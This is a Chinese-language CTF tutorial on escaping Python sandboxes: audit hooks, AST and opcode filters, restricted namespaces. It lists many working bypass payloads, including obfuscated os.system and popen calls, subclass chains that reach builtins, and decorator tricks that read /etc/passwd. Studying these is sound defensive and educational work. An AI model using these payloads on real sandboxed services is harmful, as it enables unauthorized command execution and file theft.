sys.addaudithook 构建沙箱
在一些沙箱的题目中也会使用这种方式,例如:
1 | ... |
这个沙箱对'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen' 这些函数进行了限制,一旦调用则抛出异常.
白名单比黑名单的限制更大,下面的沙箱只允许 input exec compile 等函数的调用。
1 | ... |
一般的 payload 无法使用:
1 | > __import__('ctypes').CDLL(None).system('ls /'.encode()) |
PySys_AddAuditHook 构建沙箱
PySys_AddAuditHook 是 CPython 提供的 C 级审计钩子注册接口(见 PEP 578)。你在 C 里实现一个回调:
1 | typedef int (*Py_AuditHookFunction)(const char *event, PyObject *args, void *userData); |
然后在 初始化 Python 解释器之前 调用 PySys_AddAuditHook 把这个回调注册进去。
1 | int PySys_AddAuditHook(Py_AuditHookFunction hook, void *userData); |
PySys_AddAuditHook 是 CPython 提供的一个 C API(PEP 578 定义的),它不是一个 Python 脚本、也不是第三方插件,而是嵌入到 CPython 解释器里的 C 函数。
Python 解释器的核心逻辑(编译、执行、内存管理、导入模块等)其实是一个 C 语言写的库,一般叫做:
- Linux/macOS 上:
libpython3.x.so(动态链接库)- Windows 上:
python3x.dll(DLL 动态库)平时你在终端敲的
python3这个可执行文件,其实只是一个很薄的外壳,它在main()函数里调用这个库里的 API,比如:
1
2
3
4
5 int main(int argc, char **argv) {
Py_Initialize(); // 初始化解释器
PyRun_AnyFile(...); // 运行交互模式或脚本
Py_Finalize(); // 收尾
}所以你完全可以用 C 代码自己写一个“自己的解释器入口”。这样你就能在
Py_Initialize()之前插钩子(PySys_AddAuditHook)。编译出来的可执行文件就能跑 Python 代码,但带着你自己加的安全策略,Python 脚本里删不掉它。
之所以要在 Py_Initialize() 之前安装,是为了捕获并控制解释器启动早期的所有审计事件(例如早期导入、初始化步骤等);如果等初始化后才装,启动阶段已经发生的那些事件你就看不到了。
这个钩子是进程级别的:安装后对当前进程里的所有子解释器都生效;同时它不可移除,这能防止运行期的恶意代码把审计卸掉。当某个事件触发你的回调时,如果你想阻断该操作,就先用诸如 PyErr_SetString(PyExc_RuntimeError, "blocked") 之类的 API 设置一个 Python 异常,再让回调返回非 0(通常返回 -1),解释器就会以这个异常拒绝继续执行该事件。
与之对比,sys.addaudithook 是Python 层在运行时注册的钩子,安装时机通常更晚、可见性更高,适合应用内的审计或记录;而如果你的目标是在“一切发生之前”就拦住敏感点(包括启动与早期导入),或希望钩子对 Python 代码不可见、不可卸,**优先选择 C 级的 PySys_AddAuditHook**。
例如下面这段示例代码可以阻断 import、os.system、subprocess.Popen 等事件:
1 | // audit_hook.c |
编译命令:
1 | sudo apt update |
运行结果:
1 | == C-audited Python REPL == |
基于 AST 的沙箱
Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。 下面是Python ast模块的一些常见节点类型:
ast.Module: 表示一个整个的模块或者脚本。ast.FunctionDef: 表示一个函数定义。ast.AsyncFunctionDef: 表示一个异步函数定义。ast.ClassDef: 表示一个类定义。ast.Return: 表示一个return语句。ast.Delete: 表示一个del语句。ast.Assign: 表示一个赋值语句。ast.AugAssign: 表示一个增量赋值语句,如x += 1。ast.For: 表示一个for循环。ast.While: 表示一个while循环。ast.If: 表示一个if语句。ast.With: 表示一个with语句。ast.Raise: 表示一个raise语句。ast.Try: 表示一个try/except语句。ast.Import: 表示一个import语句。ast.ImportFrom: 表示一个from…import…语句。ast.Expr: 表示一个表达式。ast.Call: 表示一个函数调用。ast.Name: 表示一个变量名。ast.Attribute: 表示一个属性引用,如x.y。
以上列举的只是ast模块中一部分的节点类型,还有很多其他类型的节点。更详细的列表可以在Python官方文档的ast模块部分找到。
一些 CTF 题目就采用了检查 AST 节点构建沙箱, 下面是一个示例. 在这个示例中, verify_secure 函数对 compile 之后的代码进行校验, 禁止 ast.Import
1 | import ast |
基于 opcode 的沙箱
字节码概念
Python 源代码会先被编译成一种中间表示形式——字节码(Bytecode),它是 Python 虚拟机(PVM)可直接执行的指令集。字节码由一系列 操作码(opcode) 组成,与平台无关,只要有相应版本的 Python 解释器都能执行。
操作码(Opcode)是字节码中的一条指令,用于告诉虚拟机要执行的操作。操作码由 1 字节的整数值(0-255 之间)表示,一个字节表示一个 opcode,对应的助记符(如 LOAD_CONST、BINARY_OP)。
编译阶段 Python 将 .py 源文件编译成字节码(可缓存到 .pyc 文件中);执行阶段PVM 逐条读取并执行字节码指令。
Python 提供了 dis 模块用来查看指定函数字节码:
1 | import dis |
或者使用 dis.opmap 和 dis.opname 查看具体某个字节码的助记符。Python 一般最多有 256 种操作码(0-255),部分保留或未定义。
1 | import dis |
沙箱示例
以 LACTF 2023 Pycjail 为例:
1 | # 初始的禁止指令列表(按名称) |
过滤规则:
- 显式禁止:
IMPORT_NAME(导入模块)MAKE_FUNCTION(定义新函数)
- 模式禁止:
- 所有
LOAD_*(除了LOAD_CONST) - 所有
STORE_*(变量赋值) - 所有
DELETE_*(删除变量/属性) - 所有
JUMP_*(跳转指令)
- 所有
过滤效果:
- 被禁能力:
- 读取任何变量、全局名、属性(
LOAD_NAME、LOAD_GLOBAL…)。 - 赋值、删除变量。
- 跳转、循环、条件控制。
- 导入模块、定义函数。
- 读取任何变量、全局名、属性(
- 允许能力:
LOAD_CONST(加载常量)- 算术运算(
BINARY_OP) - 构造常量结构(
BUILD_LIST、BUILD_TUPLE…) RETURN_VALUE
绕过删除模块或方法
在一些沙箱中,可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。 例如删除 builtins 模块的 eval 方法。
1 | __builtins__.__dict__['eval'] |
reload 重新加载
reload() 函数的作用是重新加载一个已经导入的模块。在某些场景(例如沙箱逃逸)中,如果内置函数被删除,可以通过 reload() 恢复模块原始状态,从而找回被删掉的函数。
Python 2 中的行为
在 Python 2 中,reload 是一个内置函数,可以直接使用:
1 | __builtins__.__dict__['eval'] |
reload(__builtin__) 会重新初始化内置模块,把默认符号(eval 等)重新填回。
Python 2 下,删除的内置函数可以通过 reload(__builtins__) 恢复。
Python 3 中的行为
在 Python 3 中,reload() 被移到了 importlib 模块:
1 | import importlib |
但 Python 3 对 __builtins__ 的 reload 行为做了限制,importlib.reload(__builtins__) 不会恢复被删除的内置函数。
1 | import importlib |
这是因为在 Python3 中 importlib.reload(builtins) 走的是 importlib 的重载协议。对“内置模块”来说,加载器(BuiltinImporter)在 reload 时不会重新跑 C 级初始化(基本是空操作),因此不会重建/填充模块字典。你删过的名字就还是没了。
而在 Python2 中 reload(__builtin__) 会再次调用该内置模块的 C 级初始化函数(init__builtin__),从而把默认的内建名字(eval 等)重新填回模块字典。所以删掉的东西能回来。
恢复 sys.modules
sys.modules 是 Python 解释器内部的模块缓存字典,键是模块名(字符串),值是已加载的模块对象。每次执行 import xxx 时,Python **先检查 sys.modules**:
- 如果存在同名 key,就直接返回里面的对象(不重新加载文件)。
- 如果不存在,就去找模块文件(或内置模块等),加载后放到
sys.modules。
这意味着——如果有人在沙箱中恶意替换:
1 | sys.modules['os'] = "not allowed" |
那么 import os 拿到的就是字符串 "not allowed",而不是模块对象,后续任何属性访问都会出错。
除此之恶意替换 os 模块还会影响其他模块。因为许多库(如 subprocess、shutil、tempfile)内部隐式导入了 os 模块:
1 | import os |
如果 os 变成了一个字符串,自然会触发:
1 | AttributeError: 'str' object has no attribute 'WIFSIGNALED' |
因为它期望 os 是个模块对象。
由于 import 机制是**先查 sys.modules**,所以:
- 如果你不先
del sys.modules['os'],它永远不会去真正加载os模块文件。 - 删除后再
import os,解释器会走正常的模块加载流程,从磁盘或内置模块表重新导入。
示例:
1 | import sys |
注意
必须删除 key
不能直接赋值None,因为None依旧是缓存的一部分,import不会重新加载。模块依赖链
如果os被替换,其他已加载的模块中可能已经持有坏引用,比如:1
2
3import subprocess
sys.modules['os'] = "bad"
subprocess.os # 依旧是坏的这种情况要重新加载依赖模块:
1
2
3del sys.modules['subprocess']
del sys.modules['os']
import os, subprocess内置模块(如
sys、builtins)即使被del,也不会真的丢失,它们由解释器本身维护,可以重新加载。
使用 globals() 获取 builtins 方法
在一些题目中,可能通过覆盖内置的函数来限制我们使用。例如下面的代码:
1 | def blacklist_fun_callback(*args): |
但 builtins 模块是一个不可变的模块对象,这样修改仅能够在当前的作用域中生效,而 globals() 中存放了 builtins 模块的索引,因此可以通过下面的方式获取到原始的方法。
1 | globals()["__builtins__"]['breakpoint'] |
但如果题目直接通过下面的方式来删除,那就没有办法了,即使 reload 重新导入 builtins 模块,较新版本的 python 中也无法恢复。
1 | del globals()["__builtins__"].breakpoint |
利用 gc 获取已删除模块
del sys.modules['模块名'] 只删除字典项,不会销毁模块对象本身,只要还有其他引用,模块依然存在于内存中。
1 | for module in set(sys.modules.keys()): |
gc 是Python 的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。
Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。
下面是一些 gc 模块中的主要函数:
gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects():这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs):这个函数会返回指向objs中任何一个对象的对象列表。
而 gc 模块本身属于内建/冻结模块,能够通过 __builtins__ 的 __loader__.load_module 加载,从而绕过一些审计钩子(audit hook)对“常规导入流程”的监控。
1 | 'gc' in __import__('sys').builtin_module_names |
完整演示代码如下:
1 | #!/usr/bin/env python3 |
另外在 3.11 版本和 python 3.8.10 版本中测试发现 gc.get_objects 会被 audit hook 监控。
利用 traceback 获取模块
raise Exception() 会创建一个异常对象,同时生成一条 traceback 链(tb)。
tb 是一个单向链表,每个节点代表一次调用处的执行帧(frame)。
我们可以通过:
tb.tb_frame拿到当前节点的帧对象(frame)tb.tb_next走到下一段调用的 traceback- 在帧对象上用:
frame.f_globals访问该帧所在模块的全局命名空间frame.f_locals访问该帧的局部变量frame.f_back从当前帧回溯到调用者帧
当我们遍历到目标作用域(例如 __main__ 的全局字典,或包含特定标识符的帧)后,就能直接修改那里的变量/函数。
1 | #!/usr/bin/env python3 |
运行结果:
1 | 【初始】secret_data = TOP_SECRET |
注意
Python 3.9 及常见“无审计”环境 :访问
tb.tb_frame通常不会触发审计事件,利用链可直接成立。Python 3.11 + 审计策略严格的环境 :访问
tb.tb_frame可能触发object.__getattr__或相关审计事件,会被审计钩子监控。
这不是版本必然拦截,而是具体环境有无安装审计钩子&拦截点覆盖到哪里的问题。
绕过基于字符串匹配的过滤
字符串变换
字符串拼接
在我们的 payload 中,例如如下的 payload,__builtins__ file 这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read() |
当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。
base64 变形
base64 也可以运用到其中
1 | import base64 |
逆序
1 | eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) |
进制转换
八进制:
1 | exec("print('RCE'); __import__('os').system('ls')") |
exp:
1 | s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])" |
十六进制:
1 | exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") |
exp:
1 | s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))" |
其他编码
hex、rot13、base32 等。
过滤了属性名或者函数名
在 payload 的构造中,我们大量的使用了各种类中的属性,例如 __class__、__import__ 等。
getattr 函数
getattr 是 Python 的内置函数,用于获取一个对象的属性或者方法。其语法如下:
1 | getattr(object, name[, default]) |
这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。
1 | getattr({},'__class__') |
这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。
__getattribute__ 函数
__getattribute__ 于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。
它的基本语法如下:
1 | class MyClass: |
getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。
1 | os.__getattribute__ |
__getattr__ 函数
__getattr__ 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。
如下是 __getattr__ 方法的基本形式:
1 | class MyClass: |
在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。
与 __getattribute__ 不同,__getattr__ 只有在属性查找失败时才会被调用,这使得 __getattribute__ 可以用来更为全面地控制属性访问。
如果在一个类中同时定义了 __getattr__ 和 __getattribute__,那么无论属性是否存在,__getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时,__getattr__ 才会被调用。
另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。
__globals__ 替换
在 Python2 __globals__ 可以用 func_globals 直接替换;
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__ |
__mro__、__bases__、__base__ 互换
三者之间可以相互替换
1 | ''.__class__.__mro__[2] |
过滤 import
python 中除了可以使用 import 来导入,还可以使用 __import__ 和 importlib.import_module 来导入模块
__import__
1 | __import__('os') |
importlib.import_module
importlib 是 Python 的导入机制接口模块,里面的 import_module() 函数相当于动态版的 import 语句。
1 | import importlib |
因为 importlib 不是内建的名字,它本身需要先 import importlib 才能用,所以有些鸡肋。
__loader__.load_module
__loader__ 的 load_module(name) 是老接口(PEP 302 时代,Py3.4 前),现在只在少数加载器(内建/冻结)还留了兼容层;多数现代加载器不再提供它。
__builtins__ 的 __loader__ 通常是 BuiltinImporter / FrozenImporter,只会加载内建/冻结模块,例如 sys,gc 等,但是像 os 是标准库的纯 Python 模块,不在它的能力范围内。
具体细节见绕过 audit hook 部分。
过滤了 []
如果中括号被过滤了,则可以使用如下的两种方式来绕过:
1 | ''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls') |
__getitem__
调用 __getitem__() 函数直接替换;
1 | # __getitem__()替换中括号[] |
pop
pop() 方法既能取值,又会移除目标元素,可以用来替代被过滤掉的中括号访问。
- 列表(list):
lst.pop(i)→ 取出并删除指定索引的元素(默认删除最后一个)。 - 字典(dict):
dict.pop(key)→ 取出并删除指定键的值。
在沙箱逃逸链中,如果 [] 被过滤,可以用 pop() 取代:
1 | # 用 pop() 取代下标和取键,结合 __getitem__() 完成链路 |
注意
pop 会把条目删掉。比如你 __globals__.pop('__builtins__'),后续环境就少了内建绑定,可能导致后续表达式或模块加载行为异常。
过滤了 ''
str 函数
如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。
1 | ().__class__.__new__ |
chr 函数
也可以使用 chr 加数字来构造字符串
1 | chr(56) |
list + dict 构造任意字符串
使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。
1 | list(dict(whoami=1))[0] |
__doc__
__doc__ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:
1 | ().__doc__.find('s') |
bytes 函数
bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串
1 | bytes([115, 121, 115, 116, 101, 109]).decode() |
过滤了 +
过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__ 中取,
1 | str().join((().__doc__[19],().__doc__[23])) |
过滤了数字
如果过滤了数字的话,可以使用一些函数的返回值获取。例如:
- 0:
int(bool([]))、Flase、len([])、any(()) - 1:
int(bool([""]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())
有了 0 之后,其他的数字可以通过运算进行获取:
1 | 0 ** 0 == 1 |
当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。
1 | len(repr(True)) |
第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现
1 | 0 -> len([]) |
第四种方法: unicode 会在后续的 unicode 绕过中介绍
过滤了空格
通过 ()、[] 替换
过滤了运算符
基础等价(值等价但无短路)
Python里
bool是int的子类:True==1,False==0。因此很多算术/位运算都能“凑”出相同布尔结果,但两边都会被求值。
A or BA | BA + B(结果是0/1/2;bool(...)后才是布尔)bool(A) or bool(B)→ 若or被禁,用bool(A) | bool(B)
A and BA & BA * B(0/1;bool(...)后等价)
A xor BA ^ B
示例:
1 | for a,b in [(1,1),(1,0),(0,1),(0,0)]: |
⚠️ 注意:
| & ^ + *没有短路;右侧表达式一定会执行(副作用会发生)。- 对自定义对象,这些运算会调用
__or__/__and__/__xor__/__add__等,可能不是布尔逻辑。
逻辑值“返回语义”复刻(短路值语义)
or返回第一个真值或最后一个;and返回第一个假值或最后一个。
可以用“索引小技巧”在**不写or/and**的情况下复刻其返回语义(且不需要三目)。
X or Y:1
(X, Y)[1 - int(bool(X))] # X 真→取索引0→X;X 假→取索引1→Y
如果不能写减法,换:
1
(Y, X)[bool(X)] # X 真→取索引1→X;X 假→取索引0→Y(次序调换一下)
X and Y:1
(X, Y)[int(bool(X))] # X 真→取 Y;X 假→取 X
若 真的需要短路副作用(只在必要时求值),可以把右值包成
lambda:1
2
3
4# X and f() => X 真时才调用 f
(lambda: X, lambda: f())[int(bool(X))]()
# X or f() => X 假时才调用 f
(lambda: X, lambda: f())[1 - int(bool(X))]()
“not” 的替代
not B:
1 - int(bool(B))bool(B) ^ 1(~bool(B)) & 1(位取反再截断到 0/1)
“== / !=” 的替代
x == y:x in (y,)/x in [y]/{y}.__contains__(x)not (x != y)→ 用上面的not替代方案- 若允许比较运算:
(x <= y) & (y <= x)(对不可比较类型要小心异常)
x != y:x not in (y,)可能也被过滤;可用1 - int(x in (y,))
组合逻辑的等价
(A and B) or C:bool(A&B) | bool(C)
A or (B and C):bool(A) | bool(B&C)
一定记得加括号,因为位运算优先级和逻辑运算不同:
~>**>* / %>+ -><< >>>&>^>|> 比较/逻辑
内置函数替代
map(func, iterable) 的意思是:把 iterable(可迭代对象,比如列表)里的每个元素,依次交给 func 处理,并返回一个结果序列。
因此 map(bool, [...]) 相当于将列表中的每个成员的值都转换为 bool 类型。之后借助 any/all 实现逻辑运算。
- 多个
or:any([A,B,C])→ 被过滤可用sum(map(bool, ...)) > 0 - 多个
and:all([A,B,C])→ 被过滤可用min(map(int, ...)) == 1
过滤了 ()
利用装饰器 @
在 Python 中,装饰器是用 @ 符号声明的,并且被用来修改类或函数的行为。一般来说,装饰器接受一个函数或类作为参数,做一些处理后返回一个新的函数或类。
例如:
1 |
|
这段代码的含义是:**class A 先被 D2 装饰器修饰,再被 D1 装饰器修饰**。也就是:
1 | A = D1(D2(A)) |
例如我们可以利用下面这段代码在无 () 的情况下实现任意命令执行:
1 |
|
运行过程是:
- 先创建类对象
- 解释器先执行
class a: pass的类体,得到类对象<class '__main__.a'>。
- 解释器先执行
- 准备装饰器可调用
- 解析装饰器表达式,拿到两个可调用:
builtins.input和builtins.exec。 - 注意:此时拿的是对象本身,并没有调用。
- 解析装饰器表达式,拿到两个可调用:
- 自下而上应用装饰器
- 规则:
@D1 @D2等价于a = D1(D2(a)),所以先应用@input,再应用@exec。
- 规则:
- 应用
@input(最内层)- 实际执行:
tmp = input(a) - 这里
input的提示串是str(a),也就是"<class '__main__.a'>",所以你看到提示。 - 你在提示后输入了一行:
__import__('os').system("id") - 因而
tmp现在是这个字符串:"__import__('os').system(\"id\")"
- 实际执行:
- 应用
@exec(外层)- 实际执行:
result = exec(tmp) exec会把上一步的字符串当作 Python 代码执行,于是运行了os.system("id"),你看到uid=...的输出。
- 实际执行:
- 绑定回名字
a- 最终赋值:
a = result,因为exec没有返回值,因此 **a被绑定为None**(原本的类对象不再绑定在a上)。
- 最终赋值:
同理我们还可以构造出任意地址读写的 payload:
1 |
|
释器先执行
class a: pass,得到类对象<class '__main__.a'>。应用最内层装饰器
@input调用input(a),这会把类对象a转成字符串,作为input的提示符:<class '__main__.a'>。假设你输入:/etc/passwd,则input返回字符串"/etc/passwd"。应用
@open,调用open("/etc/passwd")以默认模式'r'打开文件,返回一个文件对象(可迭代,每次迭代是一行)。应用
@set,调用set(<file object>)把文件对象迭代的所有行读出来,放进一个集合(去重、无序)。返回值是一个set,内容是文件的所有行。Python 内置的
set是一个可迭代对象的构造器,作用是从一个可迭代对象(iterable)构造一个集合类型(去重、无序)。Python 里的文件对象(
_io.TextIOWrapper)实现了迭代协议:它有
__iter__方法,返回自己它有
__next__方法,每次next()返回文件中的下一行
1
for line in open("/etc/passwd"): print(line)
当你把文件对象传给
set,set会遍历文件对象,把每一行(包含换行符)作为一个元素加入集合。1
print(set(open("/etc/passwd")))
应用
@print,调用print(<set of lines>)会把集合内容打印到屏幕上。print**返回None**。最终
a被赋值为None(因为最外层装饰器print返回值是None)。
利用魔术方法
例如 enum.EnumMeta.__getitem__
使用上下文管理器 with
当过滤 () 时我们需要考虑一些函数的隐式调用,即某些过程中可能会在内部把某个属性当做函数调用,然后设置这些函数即可。
这里让 help 对象变成一个上下文管理器,并且 help.__enter__() 覆写成 license() 函数,然后使用 with 调用 help.__enter__() → license() 输出内容。
help 本质是 _sitebuiltins._Helper 类的实例:
1 | type(help) |
这个类默认不实现 __enter__ 和 __exit__ 方法,所以不能直接用 with help:。
with是 上下文管理器(Context Manager) 语法,它的作用是:
- 在代码块开始前做一些准备工作
- 在代码块结束后自动清理资源(不管有没有出错)
上下文管理器必须实现两个方法:
__enter__(self)→ 进入with代码块前调用,返回的值会赋给as后面的变量。
__exit__(self, exc_type, exc_val, exc_tb)→ 离开with代码块时调用,不管有没有异常都会执行。
但是我们可以把 help 魔改成上下文管理器:
1 | a = __builtins__.help |
这里主要做了两件事:
- 给
help的类动态添加__enter__方法,指向刚才改过_Printer__filenames的license对象。这样with a:执行时,__enter__会被调用 → 触发license()→ 读取文件。 - 给它加上
__exit__方法(返回None就好),保证with语句能正常退出。
之后用 with 触发读取:
1 | with a: pass |
a 是 help 对象,with 语句会调用 a.__enter__() → 实际上是 license() → 打印 /etc/passwd 内容
完整代码:
1 | __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] |
f 字符串执行
f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如过去环境变量
1 | {whoami.__class__.__dict__} |
也可以直接 RCE
1 | f'{__import__("os").system("whoami")}' |
反序列化绕过
过滤了内建函数
eval + list + dict 构造
假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。
1 | eval('str') |
这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。
1 | eval(list(dict(s_t_r=1))[0][::2]) |
这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。
过滤了 . 和 , 如何获取函数
通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64
或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')
如果将 , 号和 . 都过滤了,则可以有如下的几种方式获取函数:
内建函数可以使用
eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。模块内的函数可以先使用
__import__导入函数,然后使用vars()进行获取:1
2vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>
unicode 绕过
Python 3 开始支持非 ASCII 字符的标识符(PEP 3131),也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。
1 | eval == 𝘦val |
相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符
下面是 0-9,a-z 的 unicode 字符
1 | 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 |
下划线可以使用对应的全角字符进行替换:
1 | _ |
注意
Python 允许变量名里混合用普通的下划线 _ 和全角下划线 _(U+FF3F)。但是变量名的第一个字符必须是字母(ASCII 或某些 Unicode 字母)或**普通的下划线 _**。如果第一个字符是全角下划线 _,Python 会直接在解析阶段报 SyntaxError,因为它不认为 _ 符合“变量名开头的合法字符规则”。
1 | print(__name__) |
另外有些特殊的 Unicode 字符会在调用 .lower() 或 .upper() 时自动变成其他字符。比如 Kelvin 符号 K(U+212A):
1 | print("K".lower()) # 结果是 'k' |
绕过命名空间限制
部分限制
有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。
1 | def _hook_import_(name, *args, **kwargs): |
- 沙箱首先获取
__builtins__,然后依据现有的__builtins__来构建命名空间。 - 修改
__import__函数为自定义的_hook_import_ - 删除 open 函数防止文件操作
- exec 命令。
绕过方式:
由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:
1 | __import__('types').__builtins__ |
完全限制
在某些 Python 沙箱执行环境中,为了防止用户执行危险操作,会通过下面的方式清空 __builtins__:
1 | eval("...", {"__builtins__": {}}, {"__builtins__": {}}) |
这样做的效果是:
- 阻止了访问
print,eval,open,__import__,object等内置函数/类; - 即使写了
"__import__('os')",也会报错:因为你访问不到__import__函数了。
注意
在 Python 中,eval(expr, globals=None, locals=None)(以及 exec)的参数解析规则是这样的:
如果你显式传入了
globals参数,并且它是一个字典,但其中没有键__builtins__,解释器会自动插入一份__builtins__(通常是对内置模块builtins的引用)。因此,仅仅将
globals/locals传入空字典,并不能抹掉内建函数和对象;它们会被自动补回。例如:1
eval("len([1,2])", {}) # ✅ 正常输出 2,因为自动补回了 builtins
如果你想阻止访问内建对象,需要显式覆盖
__builtins__,比如:1
2eval("len([1,2])", {"__builtins__": {}}) # ❌ NameError: len
eval("__import__('os')", {"__builtins__": None}) # ❌ NameError: __import__你也可以放一个白名单 dict 作为
__builtins__,只允许有限的内建函数:1
2safe_builtins = {"print": print}
eval("print('ok')", {"__builtins__": safe_builtins}) # ✅ 只能用 print
例如:
1 | eval("__import__('os')", {"__builtins__": {}}, {}) |
然而上述示例中清空的 __builtins__ 是“执行环境”的,而不是函数定义时保存的环境。
这是因为一个 Python 函数对象,在它定义的时候,解释器就会把它的定义环境(即它所在模块的 globals())保存进 func.__globals__ 里了。也就是说就算之后你手动删掉了 globals()['__builtins__'],这个引用也早就存着原来的内容了(指向 builtins 模块)。
因此这种情况下需要通过某种方式找回 __builtins__,然后重新获得对内置函数(如 __import__, open, eval, os.system)的访问权,以便执行命令、读取文件等。
注意
“清空” __builtins__ 与删除 __builtins__ 中的函数是有区别的。
删除内建模块中的名字指的是在当前进程唯一的
builtins模块对象上移除绑定。1
2import builtins
del builtins.__dict__['eval'] # 等价于 del builtins.eval凡是其
__builtins__指向该模块(或其__dict__)的命名空间,之后对eval的内建查找均失败;已保存的函数引用(例如saved_eval = eval)不受影响。是全局性修改。在
exec中提供裁剪后的内建映射仅对该次执行的命名空间更换内建查找后端;并未修改进程中的builtins模块对象。这是局部性隔离;不影响解释器全局内建模块的内容。1
exec(code, {"__builtins__": {}}) # 或自定义受限字典
该代码块内直接写
eval(...)会因找不到内建而失败;但若代码能获得真实builtins模块引用(如sys.modules['builtins']、print.__self__等),则仍可调用其中的eval——前提是它没有被上一种方式全局删除。
Python 是高度自反(Reflective)和动态的语言。即使你删掉了 __builtins__,程序运行过程中创建的对象、类、模块等都依然保存在内存中并可以被访问。我们可以通过类型系统和继承结构,去“翻”到这些对象。
获取 object 类
Python 中所有对象的基类是 object,所以我们从任意对象出发,拿到 object:
1 | ''.__class__.__mro__[-1] |
获取 object 的可用子类
我们可以通过类的 __subclasses__ 方法获取 object 的所有子类。
1 | object.__subclasses__() |
这就是内存中现存的类对象。我们就可以在这些子类中寻找一个有没有重载过 __init__ 的类,以便通过 __init__.__globals__ 找到 os 或 builtins 模块。
1 | l = len(''.__class__.__mro__[-1].__subclasses__()) |
对于远程环境,我们可以通过循环发包请求来探测可用类在 object.__subclasses__() 中的下标:
1 | import requests |
globals 中的可用模块
Python 函数对象有 __globals__ 属性,保存了函数定义所在模块的全局命名空间。内置模块(builtins)或导入的模块(如 os,sys)常常在里面。
builtins 模块
例如 warnings.catch_warnings 模块的全局命名空间中有 __builtins__ 模块,也就是说我们已经找回 __builtins__ 模块,可以:
